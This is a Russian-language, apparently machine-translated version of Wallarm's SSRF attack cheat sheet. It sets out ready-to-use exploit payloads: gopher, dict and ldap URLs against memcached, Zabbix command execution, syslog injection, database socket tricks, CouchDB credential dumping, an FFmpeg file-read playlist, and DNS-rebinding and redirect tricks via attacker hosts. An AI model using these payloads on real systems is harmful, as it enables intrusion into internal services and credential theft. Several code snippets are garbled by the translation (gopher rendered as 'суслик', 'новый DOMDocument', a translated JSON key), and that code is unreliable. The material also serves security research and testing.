SSRF библия. Шпаргалка

Редакция 1.03

26 января 2017 г.

Авторы:
Исследовательская группа
@Wallarm
@d0znpp
Wallarm.com | lab.wallarm.com

Попробуйте наш новый продукт. **Wallarm FAST**: тесты безопасности из трафика https://wallarm.com/wallarm-fast/

Оглавление

Основы

SSRF - атаки подделки запросов на стороне сервера. Возможность создания запросов от уязвимого сервера к внутри/внутри сети. Используя протокол, поддерживаемый доступными схемами URI, можно взаимодействовать с сервисами, работающими на других протоколах. Здесь мы собираем различные варианты и примеры (эксплойты) такого взаимодействия. См. для ознакомления соответствующие исследования.

Типичные шаги атаки

1. Сканирование внутренней сети для определения внутренней инфраструктуры, к которой вы можете получить доступ
2. Собирать открытые порты на localhost и других внутренних хостах, которые вы хотите (в основном по определению времени).
3. Определите службы/демоны на портах, используя баннеры wiki или демонов (если вы можете посмотреть вывод)
4. Определите тип вашей комбинации SSRF:
    - Прямой доступ к сокету (как в этом примере)
    - Клиент сокетов (например, java URI, cURL, LWP, другие)
5. В случае прямого доступа к сокету определить CRLF и другие инъекции для контрабанды
6. В случае клиента сокетов, определите доступные схемы URI
7. Сравните доступные схемы и протоколы служб/демонов для поиска возможностей контрабанды
8. Определите демоны auth на основе хоста и попытайтесь использовать их в своих целях

Способ эксплуатации файловых дескрипторов

Применяется в облаках, общих хостингах и других больших инфраструктурах. Сначала прочитайте слайды 20-21 о FDs и 22-23 о ProcFS из этой статьи.

Существует три способа доступа к FD:

- API интерпретаторов (например, обертка fd:// для PHP)
    - Если таких API нет или необходимые функции отключены, можно попробовать загрузить родное расширение:
        - PHP (требуется dlopen, но не exec): https://github.com/dhotson/fdopen-php
- вызов exec() из API (например, exec('echo 123 > &<FDN>');)
    - вы можете получить доступ только к FD без флага **O_CLOEXEC.**
    - C программа на сканирования доступные FDs здесь: здесь: https://github.com/ONsec-Lab/scripts/blob/master/list-open-fd.c.
- Файлы ProcFS (/proc/<PID>/fd/<N>)

  * Обратите внимание, что вы **не можете получить доступ к сокетам** через файлы **/proc/<PID>/fd/<N>**!

Поддержка схемы URL

	PHP	Java	cURL	LWP	ASP.NET[1]
суслик	возможность --with-curlwrappers	перед последними патчами	без \0 char	+	ASP.NET <=3 и Windows XP и Windows Server 2003 R2 и ранее только
tftp	позволять --with-curlwrappers	-	без \0 char	-	-
http	+	+	+	+	+
https	+	+	+	+	+
ldap	-	-	+	+	-
ftp	+	+	+	+	+
диктант	позволять --with-curlwrappers	-	+	-	-
ssh2	отключено по умолчанию	-	-	Net:SSH2 требуется	-
файл	+	+	+	+	+
ogg	отключено по умолчанию	-	-	-	-
ожидать	отключено по умолчанию	-	-	-	-
imap	позволять --with-curlwrappers	-	+	+	-
поп3	позволять --with-curlwrappers	-	+	+	-
mailto	-	-	-	+	-
smtp	позволять --with-curlwrappers	-	+	-	-
telnet	позволять --with-curlwrappers	-	+	-	-

[1] ASP.NET Версия:4.0.30319.272 проверено

Протоколы Контрабанда РСБН

	TCP							UDP	
	HTTP	memcached	fastcgi	zabbix	nagios	MySQL	syslog	NTP	snmp
rpox	cURL, Java, LWP, ASP.Net	cURL, LWP, Java, ASP.Net	Java, LWP, ASP.Net	Java, LWP, ASP.Net	Java, LWP, ASP.Net	Java, LWP, ASP.Net	+	-	-
http	Все	при наличии LF	-	-	-	-	+	-	-
dict	-	cURL	-	-	-	-	+	-	-
лдап	LWP	LWP	-	-	-	-	LWP	-	-
tftp	-	-	-	-	-	-	-	cURL	cURL

Примеры контрабанды

Парсер HTTP веб-сервера Apache

Вопреки RFC 2616, веб-сервер Apache позволяет использовать одиночный разделитель LF вместо CRLF. Злоумышленник может использовать эту возможность для контрабанды пакетов с отфильтрованным байтом 0x0d.

Пример:

GET / HTTP/1.1\nHost:localhost\n\n\n

Обратите внимание, что Apache Tomcat не имеет такой возможности, там возможны только CRLF и LFCR.

HTTP парсер веб-сервера Nginx

Nginx также поддерживает сплиттеры без байта CR (0x0d). Эти байты перечислены ниже: 0x20, 0x30-0x39.

Пример:

GET / HTTP/1.1\s\nHost:localhost\s\n\s\n\s\n

Также возможно использование 0x30-0x39 вместо 0x20 (\s)

Смотрите на простой HTTP сплиттер fuzzer: https://github.com/ONsec-Lab/scripts/blob/master/http-splitter-fuzzer.php.

Уязвимости

Основы

Существует ряд уязвимостей, которые могут обеспечить атаки SSRF. В основном их можно определить по этим группам:

- Обработка форматов
    - XML
        - XXE
        - Удаленный доступ к DTD
        - XML-дизайн
    - OpenOffice
        - Формулы DDE
        - Динамическое связывание данных
        - Встраивание внешних ресурсов
    - PDF (TCPDF)
- Прямой доступ к сокетам
    - Инъекция CRLF
- Обработка URL в библиотеке Net (небезопасное перенаправление на стороне сервера и другие)
    - cURL
    - LWP
    - ASP.NET URI
    - Java URI
- Связывание внешних данных
    - Базы данных
        - Postgres
        - MySQL
        - MondoDB
        - Redis
        - Oracle

Примеры

Google Docs

HTTP CRLF инъекция неограниченный порт и хост (ограниченный брандмауэрами, не webapp). Подробнее - http://d0znpp.blogspot.ru/2012/11/google-docs-spreadsheet-ssrf.html

Задача хакквеста ZeroNights

Задание все еще доступно на http://hackquest.zeronights.org/missions/ErsSma/ (Задание больше не доступно там! - 404)
Решение: http://d0znpp.blogspot.ru/2012/11/zeronights-hackquest-view-from-organizer.html
(Там больше нет! - 404)

Источник:

```
<?php
$host = '127.0.0.1';
$f=fsockopen($host,80);
libxml_disable_entity_loader(true);//нет XXE
libxml_use_internal_errors(true);
fputs($f, "GET /index.php?username={$_POST['login']} HTTP/1.1\r\nHost:
$host\r\n\r\n\n");//CRLF инъекция
$resp = "";
while($s = fgets($f))
        $resp.=$s;
$resp=substr($resp,strpos($resp,"\r\n\r\n"));//чтение по EOF, а не по заголовку Length
$doc = новый DOMDocument();
$doc->loadXML($resp);
//echo $resp. "nn";
echo $doc->getElementsByTagName("error")->item(0)->nodeValue;
if(libxml_get_errors()!=null){
print_r(libxml_get_errors());
}
?>
```

Хитрости эксплуатации

Обход ограничений

В основном ограничения, которые вы можете найти в эксплуатации SSRF, можно разделить на две группы:

- Проверка ввода (например, фильтр URL по регулярным выражениям)
- Сетевые ограничения (правила брандмауэров)

Валидация ввода

Небезопасное перенаправление

Простой способ обойти проверку ввода - перенаправление URL. HTTP-клиенты не являются браузерами.

Обычно можно сделать небезопасное перенаправление (за исключением случая Java).

```
<?php
header("Location: gopher://localhost:123/1asd");
?>
```

Отлично работает для cURL, LWP, ASP.NET (эксплойт: http://anyhostwithredirest.com/ -> gopher://localhost:11211/1stats%0aquit).

DNS-пиннинг

Чтобы обойти проверку домена, можно просто использовать технику pinning. Например, определите записи A или AAAA на вашем DNS-сервере для ваших поддоменов во внутренней сети жертвы:

$ nslookup local.oxod.ru

Неавторитетный ответ:

Имя: local.oxod.ru

Адрес: **127.0.0.1 <- это интранет-ресурс, но local.oxod.ru также является правильным доменом**

имя для входных фильтров

Состояние гонки DNS pinning

Посмотрите, пожалуйста, на этот кусок кода:

```
<?php
if(validate_domain($domain)){
  file_get_contents($domain);
}
```

Забавно, но есть два разных DNS-запроса от приложения. Первый - от функции validate_domain(), а второй - от file_get_contents(). Атакующий может подделать DNS-ответ на второй запрос, чтобы пройти эту проверку. Первый DNS-ответ от DNS-сервера злоумышленника может быть таким:

```
evil.com -> 8.8.8.8 (что-то белое в функции validate_domain)
```

А второй ответ может выглядеть следующим образом:

```
evil.com -> 127.0.0.1
```

Хитрости разбора url в PHP fsockopen()

```
<?php
$host = '127.0.0.1';
$f=fsockopen($host,80);
...
```

Но PHP будет анализировать порт из переменной $host как URL. Например, $host="localhost:11211" переписывает жестко заданный 80 порт с кода на 11211. Более интересно, что следующие примеры также работают:

$host для fsockopen($host,80); Пример PHP	**Результирующий порт открытого сокета**
localhost:11211	11211
localhost:11211aaaa	11211
localhost:+11211aaa	11211
localhost: 11211	11211
localhost: 11211 aaa	11211
localhost:00011211aaaa	11211

Таблица фаззинга для: **EhostA:BportC** приведена ниже:

Группа	**Значения**
A	0x2e, 0x5c? работает только для некоторых тестов
B	0x09-0x0d, 0x20, 0x2b, 0x30, 0x85, 0xa0
C	0x00-0xff
E	0x5c

Сетевые ограничения

Единственным возможным способом на данный момент является использование уязвимостей open-redirect и еще одного SSRF во внутренней сети.

Отпечатки пальцев протокола

Чтобы определить, какой протокол принят целевым портом, можно использовать определение на основе времени в случае SSRF. Это простой и стабильный метод. Отправьте пакеты типа протокола, который вы хотите протестировать (fingerprint). Используйте пакеты так, чтобы сервер долгое время не закрывал сокет.

В принципе, вы можете использовать зонды nmap, но некоторые из них должны быть модифицированы для случая, основанного на времени (/usr/share/nmap/nmap-service-probes).

Также обратите наше внимание на SSL-зондирование и эксплуатацию. Между SSL-протоколами, такими как HTTPS, IMAPS и другими, нет разницы в том, как устанавливается соединение. Если вы можете вставить CRLF в HTTPS-пакет (HTTP-пакет в SSL-соединении), вы можете эксплуатировать IMAPS и другие SSL-протоколы.

Примеры

HTTP

ПОСТ / HTTP/1.1
Host: localhost
Content-Length: 5

Сервер будет ждать последний 5 байтов из запрос и сокет все еще открыт. Exploit: gopher://localhost:8001/1POST%20%2fHTTP%2f1.1%0d%0aHost:localhost%0d%0aContent-Length:5%0d%0a%0d%0a

Memcached

Любой обычный текстовый запрос без команды "quit", сделанный как угодно. Эксплойт: curl http://localhost:11211/

Извлечение данных

Часто уязвимое приложение написано таким образом, что ответ на подделанный запрос может быть прочитан только в том случае, если он имеет определенный формат. Это могут быть изображения, XML и другие. Для получения корректного формата из целевого ответа используются методы конкатенации, которые обычно предоставляются протоколами plain/text.

Это будет возможно, если целевой сервис может обрабатывать несколько запросов в одном TCP-пакете (например, HTTP Keep-alive и другие). Также должна быть возможность вставлять разделитель целевого протокола в поддельный запрос (CRLF для HTTP, LF для большинства обычных/текстовых протоколов).

Сначала посмотрите слайды 33-37 презентации SSRF по атакам и сокетам.

Примеры

Инкапсуляция ответа HTTP в ответ в формате XML

Уязвимое приложение, перечисленное выше. Эксплойт: http://d0znpp.blogspot.ru/2012/11/zeronights-hackquest-view-from-organizer.html (404 - Not found). Пожалуйста, не забывайте, что использование HTTP/0.9 позволяет получать HTTP-ответы без HTTP-заголовков. Эта техника описана в книге The Tangled Web.

Консоль cURL подстановочные знаки URL ответы конкатенация

Если SSRF обеспечивается консольным форком cURL (не libcurl), вы можете использовать подстановочные знаки URL для отправки множества запросов на один URL. Все ответы на эти запросы будут скомпонованы вместе.

Эксплуатация:

#curl http://evilhost.com/[1-3].php

Имя файла	**Содержание**
1.php	<?xml version="1.0"?><valid-tag><![CDATA[// валидный заголовок для читаемого формата

2.php	<?php
	header("gopher://localhost:11211/1stats%0aquit");
	//данные для извлечения
	?>

3.php	]]></valid-tag> //правильный нижний колонтитул для читабельного формата

Эксплуатация SMBRelay

Эта техника описана в смежном исследовании "SSRF + Java + Windows = Любовь". В случае Java-приложения на OS Windows злоумышленник может выполнить NTLM-атаку через HTTP. Это возможно, потому что Java имеет внутренний HTTP-клиент, который по умолчанию поддерживает NTLM-аутентификацию.

Прослушивание данных исходного запроса

Во многих случаях полезно перехватить данные начального запроса с помощью SSRF. Это могут быть OAuth-токены, базовые auth-учетные данные, POST-тела и другие. Эта проблема может быть решена, если у вас есть возможность модифицировать ответ сервера. Вы должны воздействовать на ответ одного сервера при получении запроса от другого сервера. Это будет выглядеть как open-redirect (WASC-38) или response splitting/smuggling (WASC-25, WASC-27), но там вместо браузера пользователя используется http библиотека сервера, например cURL.

Статус 307 HTTP (Временное перенаправление объяснено) и другие могут быть использованы для получения оригинального тела POST.

Таблица перенаправления POST:

Либ/Статус	300	301	302	303	304	305	306	307	308
cURL	OK	-	-	-	-	OK	OK	OK	-
LWP	-	-	-	-	-	-	-	-	-
PHP	-	-	-	-	-	-	-	-	-

Пример:

```
$url = "http://localhost/tests/redir.php?s={$_GET['s']}&r=http://localhost:8000/";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "key=secret");
$resp = curl_exec($ch);
```

Вы можете украсть данные "key=secret", используя уязвимость open redirect со статусами ответа 300,305,306,307 или с помощью уязвимости http response splitting/http header injection.

И в случае LWP нет способов украсть секрет:

```
use strict; use warnings; my
$b=LWP::UserAgent->new;
my $u='http://localhost/tests/redir.php?s=307&r=http://localhost:8000/a' ;
$b->post($u,{'key'=>'secret'});
```

Примеры

SSRF также открывает ворота для различных NoSQL-атак, таких как инъекции JavaScript на стороне сервера.

Memcached

Протокол документация: https://github.com/memcached/memcached/blob/master/doc/protocol.txt Этапы эксплуатации:

1. собрать все ключи
2. определить интересные ключи
3. заменять значения ключа на произвольные методы

эксплуатации:

- Поиск HTML-шаблонов и внедрение JS login sniffer для сбора логинов/паролей
- Поиск динамических шаблонов (макросы, PHP, другие) и внедрение произвольного кода (RCE)
- Найдите свою сессию и повысьте свои привилегии
- Создайте новый сеанс с длительным сроком действия и установите привилегии администратора

Эксплойты

gopher://localhost:11211/1%0astats%0aquit
dict://locahost:11211/stats
ldap://localhost:11211/%0astats%0aquit

PHP-FPM

Эксплуатация локальной установки для обхода ограничений, таких как safe_mode и других http://pastebin.com/XP2BYmR7. Обратите внимание, это действительно полезный вектор атаки!

Syslog

Обычно UDP, но в действительности часто прослушивается TCP-порт 514. Вы можете добавить строки в syslog
легко.
Exploit
http://string-that-you-want-to-add.evil.com:514/

Сначала настройте DNS для разрешения string-that-you-want-to-add.evil.com как 127.0.0.1
HTTP-запрос:

```
GET /a HTTP/1.1
Host: string-that-you-want-to-add.evil.com:8000
Connection: Keep-Alive
```

Сущности Syslog:

```
Nov 23 00:53:50 localhost Host: string-that-you-want-to-add.evil.com:8000#015
Nov 23 00:53:50 localhost Connection: Keep-Alive#015
Nov 23 00:53:50 localhost #015
```

Это полезная вещь для эксплуатации многих систем мониторинга с помощью проблем на стороне клиента, таких как XSS. Просто потому, что данные из syslog выглядят как проверенные данные. Инъекция CRLF делает сущности syslog более понятными (см. ниже).

Эксплойты

dict://localhost:514/ALARM!!!
ldap://localhost:514/\r\nALARM!!! (Только
LWP) **Сущности Syslog:**

```
Nov 23 00:53:50 localhost ALARM!!!#015
```

Zabbix agentd

Zabbix является очень распространенной системой мониторинга. Мониторируемые серверы работают под управлением бинарного файла zabbix_agentd, который конфигурируется файлом /etc/zabbix/zabbix_agentd.conf.

По умолчанию прослушиваемый порт - 10050. Zabbix agentd имеет только авторизацию на основе хоста, описанную в конфигурационном файле:

```
Server=127.0.0.1,monitor.trusted.network.net
```

Обычно 127.0.0.1 включается в авторизованные серверы по отладочным причинам и по умолчанию.

Протокол Agentd является простым и понятным: "\n" используется в качестве терминатора строк, а формат пакетов следующий "элемент[ключ]". Все доступные элементы перечислены ниже:

http://www.zabbix.com/documentation/1.8/manual/config/items. Zabbix agentd закрывает сокет после первой неправильно оформленной строки (запрос несуществующего ключа, например). Поэтому вы не можете использовать контрабанду, если первая строка запроса не контролируется вами.

Иногда agentd настроен на выполнение произвольных команд с серверов (элемент system.ru использовался для выполнения команд от аргумента ключа):

```
EnableRemoteCommands=1
```

Эксплуатирует

gopher://localhost:10050/1vfs.file.regexp[/etc/hosts,7]

Ответ сервера:

ZBXD?127.0.0. 1localhost ads.localhost localhost.vv asd.localhost.vv

gopher://localhost:10050/1system.run[ls]

Ответ сервера:

ZBXD,
usr и т.д.
var
boot

Postgres

Любые функции, которые могут открывать сокеты и записывать в них данные пользователя, могут быть использованы для SSRF. Например, функции для внешних соединений с базами данных, которые предоставляются всеми современными базами данных (DB2/Oracle/Postgres/etc). Злоумышленник может использовать эти функции через SQL инъекцию для эксплуатации чего-либо в интрасети.

Описание DBLINK: http://www.postgresql.org/docs/8.4/static/dblink.html. Синтаксис строки подключения доступен здесь: http://www.postgresql.org/docs/8.4/static/libpq-connect.html

Эксплойты

SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'**\nstats\n**\' password=1 port=11211 sslmode=disable','select version();');

MongoDB

Злоумышленник может использовать различные внутренние функции, такие как copyDatabase() и другие, чтобы открыть произвольный сокет и поместить в него произвольные данные.

Эксплойты

Запись двоичных данных в сокет:

```
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')

$ nc -l 8000 | hexdump -C
00000000  3b 00 00 00 28 00 00 00  00 00 00 00 00 00 00 d4  |;...(...........|
                                    07 00 00
00000010  00 00 00 00 01 02 03 04  05 06 07 2e 73 79 73 74  |............syst|
00000020  65 6d 2e 6e 61 6d 65 73  70 61 63 65 73 00 00 00  |em.namespaces...|
                                    00
```

Общайтесь с memcached:

```
> db.copyDatabase("\nstats\nquit",'test','localhost:11211')
```

Redis

В Redis есть множество команд, которые могут помочь в работе SSRF:

- Порт хоста SLAVEOF
- MIGRATE хост порт ключ ... (MIGRATE 192.168.1.34 6379 "" 0 5000 KEYS key1 ключ2 ключ3)
- CONFIG SET ...

CouchDB

CouchDB является действительно хорошей целью для SSRF-атак. Существует HTTP REST API, который предоставляет злоумышленнику возможность эксплуатировать его, используя только корректные HTTP запросы без какой-либо контрабанды. Детали API: http://wiki.apache.org/couchdb/Complete_HTTP_API_Reference. Запросы POST/PUT/DELETE также могут быть подделаны с помощью методов контрабанды для выполнения JS кода на стороне сервера, например.

Эксплойты

http://localhost:5984/_users/_all_docs для кражи базы данных _users с учетными данными:

```
HTTP/1.1 200 OK
Сервер: CouchDB/1.2.0 (Erlang OTP/R15B01)
ETag: "BD1WV12007V05JTG4X6YHIHCA"
Date: Tue, 18 Dec 2012 21:39:59 GMT
Content-Type: text/plain; charset=utf-
8 Cache-Control: must-revalidate

{"total_rows":1,"offset":0,"rows":[
{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb9
30"}}
]}
```

Данный пример протестирован на стабильной установке debian из пакета без дополнительной настройки.

Для выполнения серверного JS с ограничениями (серверный JS находится в "песочнице", нет доступа к сети, IO или за пределы предоставленного документа и функций) вы можете использовать View API. Эта техника была описана на BHUS11 в данной статье для инъекций в веб-приложения. Сначала прочитайте это: http://wiki.apache.org/couchdb/HTTP_view_API

Злоумышленник также может отправлять запросы с сервера CouchDB в интранет, используя функцию репликации (http://docs.couchdb.org/en/stable/api/server/common.html#replicate).

```
POST http://couchdb:5984/_replicate
Content-Type: application/json
Accept: application/json

{
   "источник" : "рецепты",
   "target" : "http://ssrf-me:11211/recipes",
}
```

FFmpeg

Формат файлов M38u предоставляет несколько полезных макросов под названием "EXTINF". Этот макрос позволяет злоумышленнику читать произвольные файлы и выполнять SSRF-атаки. Давайте рассмотрим несколько красивых примеров, приведенных ниже:

```
$ кошка
видео.mp4
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://example.org/header.y4m|file:///etc/passwd
#EXT-X-ENDLIST

$ ffmpeg -i video.mp4 thumbnail.png
$ ffmpeg -i thumbnail.png out.y4m
$ cat out.y4m
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
# $FreeBSD: release/10.0.0/etc/master.passwd 256366
,! 2013-10-12 06:08:18Z rpaulo $
#.
root:*:0:0:Charlie
&:/root:/usr/local/bin/zsh
toor:*:0:0:Bourne-again Superuser:/root:
```

Оригинальная ссылка: https://bugs.launchpad.net/ubuntu/+source/ffmpeg/+bug/1533367

Ссылки

1. http://en.wikipedia.org/wiki/URI_scheme
2. http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
3. http://msdn.microsoft.com/en-us/library/system.uri.scheme.aspx
4. http://search.cpan.org/~gaas/libwww-perl-6.04/lib/LWP.pm
5. http://php.net/manual/en/wrappers.php
6. http://docs.oracle.com/javase/1.5.0/docs/api/javax/print/attribute/standard/ReferenceUriSchemesSupported.html
7. http://www.kernel.org/doc/man-pages/online/pages/man2/open.2.html
8. http://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf
9. http://www.nostarch.com/download/tangledweb_ch3.pdf

Инструменты

1. https://github.com/ONsec-Lab/scripts/blob/master/list-open-fd.c

Исследования[2]

1. http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt
2. http://www.slideshare.net/d0znpp/xxe-advanced-exploitation
3. http://www.slideshare.net/d0znpp/caro2012-attack-largemodernwebapplications
4. http://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
5. http://erpscan.com/wp-content/uploads/2012/11/SSRF.2.0.poc_.pdf
6. http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.html
7. http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilitie s
8. http://erpscan.com/press-center/smbrelay-bible-7-ssrf-java-windows-love/
9. https://bugs.launchpad.net/ubuntu/+source/ffmpeg/+bug/1533367

[2] Отсортировано по дате